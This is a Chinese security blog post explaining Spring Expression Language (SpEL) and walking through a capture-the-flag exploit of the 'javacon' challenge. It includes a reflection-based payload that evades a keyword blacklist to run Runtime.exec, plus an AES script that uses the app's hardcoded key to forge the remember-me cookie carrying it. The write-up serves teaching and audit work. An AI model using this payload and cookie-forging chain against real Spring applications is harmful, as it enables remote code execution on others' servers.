Java代码审计中的SpEL注入

SpEL表达式的功能与使用

功能

  • 访问对象属性:SpEL表达式可以通过对象引用来访问对象的属性,例如${object.property}。
  • 调用方法:SpEL表达式可以调用对象的方法,例如${object.method()}。
  • 进行算术运算:SpEL表达式支持各种算术运算符,如加法、减法、乘法和除法。
  • 进行逻辑运算:SpEL表达式支持逻辑运算符,如与、或、非等。
  • 进行条件判断:SpEL表达式可以进行条件判断,例如通过if语句判断条件,并执行相应的操作。
  • 访问集合元素和属性:SpEL表达式可以通过索引或键来访问集合中的元素或对象的属性。
  • 执行正则表达式匹配:SpEL表达式可以执行正则表达式匹配,并返回匹配结果。
  • 访问上下文变量和参数:SpEL表达式可以访问上下文中的变量和方法参数。
  • 进行类型转换:SpEL表达式可以进行类型转换操作,将一个对象转换为另一种类型。
  • 支持特殊操作符:SpEL表达式支持一些特殊的操作符,如Elvis操作符(?:)、安全导航操作符(?.)等。

使用

表达式

一般SpEL表达式语法与python语法有些像,此处有详细总结:Spring-SpEL表达式超级详细使用全解-CSDN博客

这里来看几个较为特殊的用法

spel语法中的T()操作符 , T()操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名(),后面会用得到

spel中的#操作符可以用于标记对象,SpEL 表达式可以用 #变量名 的形式访问它们

  1. 获取类的类型
    可以使用特殊的T运算符来指定java.lang.Class的实例(类型)。静态方法也是通过使用这个操作符来调用的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    ExpressionParser parser = new SpelExpressionParser();

    Class dateClass = parser.parseExpression("T(java.util.Date)").getValue(Class.class);

    Class stringClass = parser.parseExpression("T(String)").getValue(Class.class);

    boolean trueValue = parser.parseExpression(
    "T(java.math.RoundingMode).CEILING < T(java.math.RoundingMode).FLOOR")
    .getValue(Boolean.class);

  2. #变量名 的形式访问变量

    1
    2
    context.setVariable("x", 10);
    Integer result = parser.parseExpression("#x + 20").getValue(context, Integer.class); // 结果:30
  3. 表达式模板

    1
    2
    3
    4
    5
    6
    7
    // 通常使用#{}作为模板,与字符串拼接起来
    String randomPhrase = parser.parseExpression(
    "random number is #{T(java.lang.Math).random()}",
    new TemplateParserContext()).getValue(String.class);

    // evaluates to "random number is 0.7038186818312008"

    或者找到源码中定义的地方

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    // TemplateParserContext 的定义
    public class TemplateParserContext implements ParserContext {

    public String getExpressionPrefix() {
    return "#{";
    }

    public String getExpressionSuffix() {
    return "}";
    }

    public boolean isTemplate() {
    return true;
    }
    }
调用

SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值

示例1:不注册新变量的用法

1
2
3
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值,Hello World!

示例2:自定义注册加载变量的用法

1
2
3
4
5
6
7
8
9
10
11
public class Spel {
public String name = "何止";
public static void main(String[] args) {
Spel user = new Spel();
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量
SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression expression = parser.parseExpression("#user.name");//解析表达式
System.out.println( expression.getValue(context).toString() );//取值,输出何止
}
}

SpEL表达式注入攻击

攻击流程

攻击条件(敏感函数)

  1. 使用StandardEvaluationContext,
  2. 未对输入的SpEL进行校验,或有方法绕过
  3. 对表达式调用了getValue()或parseExpression()函数或getAdvanceValue函数。

关键字

  • getValue(),parseExpression(),getAdvanceValue()
  • StandardEvaluationContext(),ExpressionParser(),SpelExpressionParser()

Code-Breaking javacon

下载源码

https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar

使用命令运行环境

1
java -jar C:\Users\86177\Desktop\challenge-0.0.1-SNAPSHOT.jar

使用JD-GUI反编译(直接用IDEA反编译是不成功的),导出后用IDEA打开

查看目录结构以及application.yml文件

可以看到是有spel表达式调用的,但是也有黑名单

查看MainController文件

可以看到getAdvanceValue函数(动态解析用户输入的 Spring 表达式(SpEL)并返回执行结果,它在解析前会对输入内容做黑名单关键词过滤,阻止执行危险表达式),此函数是SpELl注入漏洞出发点

搜索关键字getAdvanceValue

可以看到admin方法中若rememberMeValue不为空,则会将此值做解密处理,将获得的值作为username属性

此时的username可控,可以实现SpEL注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@GetMapping
/* */ public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) {
/* 36 */ if (rememberMeValue != null && !rememberMeValue.equals("")) {
/* 37 */ String str = this.userConfig.decryptRememberMe(rememberMeValue);
/* 38 */ if (str != null) {
/* 39 */ session.setAttribute("username", str);
/* */ }
/* */ }
/* */
/* 43 */ Object username = session.getAttribute("username");
/* 44 */ if (username == null || username.toString().equals("")) {
/* 45 */ return "redirect:/login";
/* */ }
/* */
/* 48 */ model.addAttribute("name", getAdvanceValue(username.toString()));
/* 49 */ return "hello";
/* */ }

因此,我们只需输入admin/admin并勾选remember-me选项,点击登录,然后在请求包中修改Cookie内容即可。

先构造payload

由于黑名单的限制,这里利用java反射机制调用所需类

1
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1. ''.getClass() → java.lang.String.class
'' 是空字符串,调用 .getClass() 获取 java.lang.String.class 对象(即 Class<String>)
2. forName('java.lang.Runtime') → Runtime.class
反射方式加载 java.lang.Runtime 类。
等价于:Class.forName("java.lang.Runtime")
3. .getMethod('exec', ''.getClass()) → 获取 exec 方法
.getMethod("exec", String.class)
表示获取 Runtime 实例的 exec(String) 方法。
4. .getMethod("getRuntime").invoke(null) → 获取 Runtime 实例
通过调用静态方法 Runtime.getRuntime() 得到一个运行时实例:
Runtime runtime=Runtime.getRuntime();
这里的反射方式:.getMethod("getRuntime").invoke(null)
5. .invoke(..., "calc") → 执行命令
runtime.exec("calc");

最终等价于 Java 代码:Runtime.getRuntime().exec("calc");

再将其加密,加密代码在Encryptor.java文件中

已知key是c0dehack1nghere1,initVector是0123456789abcdef,value是要加密的值

写一个加密脚本

先将value设置为admin,加密后与数据包中remember-me的值比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class payload {
public static void main(String[] args)
{
String key="c0dehack1nghere1";
String initVector="0123456789abcdef";
String value="admin";
/* */ try {
/* 15 */ IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
/* 16 */ SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
/* */
/* 18 */ Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
/* 19 */ cipher.init(1, skeySpec, iv);
/* */
/* 21 */ byte[] encrypted = cipher.doFinal(value.getBytes());
/* */
/* 23 */ System.out.println(Base64.getUrlEncoder().encodeToString(encrypted));
/* 24 */ } catch (Exception ex) {
/* 28 */ System.out.println(ex.getMessage());
/* */ }
}
}

可以看到加密结果与数据包中值是相同的,说明脚本没有问题

将脚本中value值更改为payload

运行后抓取数据包,将remember-me的值改为加密后结果

发送数据包,成功弹出计算器

通过SpEL注入内存马

https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/

参考

Spring-SpEL表达式超级详细使用全解-CSDN博客

SpEL注入RCE分析与绕过-先知社区 (aliyun.com)

https://www.kingkk.com/2019/05/SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5-%E5%85%A5%E9%97%A8%E7%AF%87/

https://www.cnblogs.com/qiushuo/p/18393442


Java代码审计中的SpEL注入
http://huang-d1.github.io/2025/07/23/Java代码审计中的SpEL表达式注入/
作者
huangdi
发布于
2025年7月23日
许可协议